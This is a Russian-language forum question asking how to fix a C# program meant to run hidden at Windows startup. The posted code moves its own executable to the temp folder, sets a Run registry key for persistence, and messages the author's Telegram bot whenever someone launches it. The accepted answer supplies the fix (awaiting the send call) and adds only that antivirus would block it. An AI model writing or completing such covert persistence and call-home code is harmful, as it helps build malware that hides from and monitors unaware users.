Задать вопрос
@kerimol123

Как настроить отправку сообщений в telegram при запуске программы на C#?

Я хочу написать простую программу на C#, которая будет автоматически запускаться при включении компьютера. После первого запуска exe файл должен удаляться. Да и вообще программа должна быть не видна пользователю. Также при первом запуске мне в тг бот должно приходить сообщение о том, что кто-то запустил мою программу. Эта часть не работает. Телеграм бот запущен на сервере. Что нужно изменить в коде, чтобы отправка сообщений через телеграм работала?

Вот мой код:

using System;
using System.Diagnostics;
using System.IO;
using Microsoft.Win32;
using Telegram.Bot;

class Program
{

    static async void SendTelegramMessage(string message)
    {
        string botToken = "токен бота";
        long chatId = мой id;

        TelegramBotClient botClient = new TelegramBotClient(botToken);
        await botClient.SendTextMessageAsync(chatId, message);
    }

    static void Main()
    {
        string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
        string exePath = Process.GetCurrentProcess().MainModule.FileName;

        string tempPath = Path.Combine(Path.GetTempPath(), "myprogram.exe");
        File.Move(exePath, tempPath);

        SendTelegramMessage("Кто-то запустил программу");

        AddToStartup(tempPath);

        Environment.Exit(0);
    }

    static void AddToStartup(string programPath)
    {
        using (RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true))
        {
            key.SetValue("MyProgram", programPath);
        }
    }
}
  • Вопрос задан
  • 193 просмотра
Подписаться 1 Простой Комментировать
Помогут разобраться в теме Все курсы
  • OTUS
    C# Developer. Professional
    6 месяцев
    Далее
  • Ulearn.me
    Основы программирования на примере C#. Часть 1
    1 неделя
    Далее
  • Software-testing.ru
    Программирование на C# для тестировщиков
    10 недель
    Далее
Решения вопроса 1
@Dmitry_Sel
await SendTelegramMessage("Кто-то запустил программу");

но учти что любой антивирус тебе такое не позволит)
Ответ написан
Комментировать
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы